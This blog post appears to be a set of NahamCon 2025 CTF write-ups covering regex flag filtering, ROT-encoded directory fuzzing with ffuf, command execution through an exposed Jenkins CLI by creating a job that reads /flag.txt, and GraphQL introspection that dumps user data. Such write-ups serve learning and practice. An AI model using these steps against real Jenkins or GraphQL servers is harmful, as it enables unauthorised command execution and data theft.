Nahamcon25 | Challenge Writeups

May 25, 2025

Writeups for some of the challenges I solved from Nahamcon25.

I participated in the NahamCon 25, with my team ZeroSolves. These are the writeups for some of the challenges I attempted/solved.

Free Flags

May 25, 2025

#CTF/Miscs #Python #RegEx

WOW!! Look at all these free flags!!

Challenge Description

Author: @John Hammond

WOW!! Look at all these free flags!!

But… wait a second… only one of them is right??

Solution

running less shows bunch of flags

there’s only one flag in the file that’s valid hexadecimal

python -c 'import re; print(re.findall(r"flag\{[a-f0-9]+?\}", open("free_flags.txt").read())[0])'

flag{ae6b6fb0686ec594652afe9eb6088167}

My First CTF

May 25, 2025

#CTF/Web

On second thoughts I should have probably called this challenge "Nz Gjstu DUG"

Challenge Description

On second thoughts I should have probably called this challenge “Nz Gjstu DUG”

Solution

Browsing to /flag.txt result in the following.

From the challenge description and source from the webpage, there are hints related to ROT.

To solve this challenge, perform ROT 1 on the string flag.txt which results in gmbh.uyu. Then, download the file from /gmbh.uyu

My Second CTF

May 25, 2025

#CTF/Web

Solution

ffuf -w wordlist_rot2.txt -u http://challenge.nahamcon.com:31297/FUZZ/ -x http://127.0.0.1:8080 -s
fgdwi  [Status: 200, Size: 48, Words: 2, Lines: 1, Duration: 289ms]

curl -iL http://challenge.nahamcon.com:31297/fgdwi/
HTTP/1.1 200 OK
Server: nginx/1.26.3
Date: Sat, 24 May 2025 13:14:40 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.28

{"status":"error","message":"Missing parameter"}

Fuzz for parameters

ffuf -w wordlist_rot2.txt -u 'http://challenge.nahamcon.com:31297/fgdwi/?FUZZ=' -x http://127.0.0.1:8080 -fs 48

eqphkto [Status: 200, Size: 49, Words: 1, Lines: 1, Duration: 289ms]

curl -iL 'http://challenge.nahamcon.com:31297/fgdwi/?eqphkto='
HTTP/1.1 200 OK
Server: nginx/1.26.3
Date: Sat, 24 May 2025 13:18:06 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.28

{"flag":"flag{9078bae810c524673a331aeb58fb0ebc}"}

My Third CTF

May 25, 2025

#CTF/Web

Solution

Rot1

ffuf -w rot1-wl.txt -u 'http://challenge.nahamcon.com:30277/FUZZ/'

qbhf  [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 306ms]

rot2

ffuf -w wordlist_rot2.txt -u 'http://challenge.nahamcon.com:30277/qbhf/FUZZ'

oguucig  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 276ms]

rot3

ffuf -w rot3_wordlist.txt -u 'http://challenge.nahamcon.com:30277/qbhf/oguucig/FUZZ'

wrnhq  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 283ms]

rot4

ffuf -w rot4_wordlist.txt -u 'http://challenge.nahamcon.com:30277/qbhf/oguucig/wrnhq/FUZZ'

lewl  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 272ms]

Finally for the flag

curl -iL 'http://challenge.nahamcon.com:30277/qbhf/oguucig/wrnhq/lewl'
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.3
Date: Sat, 24 May 2025 13:25:08 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: /qbhf/oguucig/wrnhq/lewl/

HTTP/1.1 200 OK
Server: nginx/1.26.3
Date: Sat, 24 May 2025 13:25:08 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.28

flag{afd87cae63c08a57db7770b4e52081d3}

The Best Butler

May 25, 2025

#CTF/Web #Jenkins

Truly, he's the best butler - he might even be able to serve up a `/flag.txt`!

Challenge Description

Author: @Kkevsterrr

Truly, he’s the best butler - he might even be able to serve up a /flag.txt!

NOTE, this challenge might take a bit more time to start. The flag is located at the root of the filesystem (/flag.txt)

Solution

Jenkins running with following “system-backup” Job

changing through GUI is not possible as its broken

download the jenkins-cli https://www.jenkins.io/doc/book/managing/cli/#downloading-the-client

wget http://challenge.nahamcon.com:31404/jnlpJars/jenkins-cli.jar

get a copy of current XML config for a job:

java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ get-job system-backup

<?xml version='1.1' encoding='UTF-8'?>
<project>
  <description>Automated backup service for critical system files</description>
  <keepDependencies>false</keepDependencies>
  <properties/>
  <scm class="hudson.scm.NullSCM"/>
  <canRoam>false</canRoam>
  <disabled>false</disabled>
  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
  <triggers/>
  <concurrentBuild>false</concurrentBuild>
  <builders>
    <hudson.tasks.Shell>
      <command>
echo &quot;Starting system backup process...&quot;
echo &quot;Checking backup directories...&quot;
ls -la /var/backups/important/
echo &quot;Backup process completed.&quot;
</command>
      <configuredLocalRules/>
    </hudson.tasks.Shell>
  </builders>
  <publishers/>
  <buildWrappers/>
</project>

Edit the config to cat the /flag.txt and create a new job

cat flag.xml | java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ create-job gibflag

check if the job has been created

java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ list-jobs
gibflag
system-backup

start new build:

java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ build gibflag

view the console:

java -jar jenkins-cli.jar -s http://challenge.nahamcon.com:31404/ console gibflag

The Mission

May 25, 2025

#CTF/Miscs #GraphQL

Flag 1

Flag 4

{"query":"query {__type (name: \"User\") {name fields{name type{name kind ofType{name kind}}}}}"}

POST /api/v2/graphql HTTP/1.1
Host: challenge.nahamcon.com:30715
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://challenge.nahamcon.com:30715/settings
Content-Type: application/json
Content-Length: 43
Origin: http://challenge.nahamcon.com:30715
Connection: keep-alive
Cookie: PHPSESSID=1729767ea8c5e66643c2d74a93a039ce
Priority: u=4

{"query":"{ users { id username email } }"}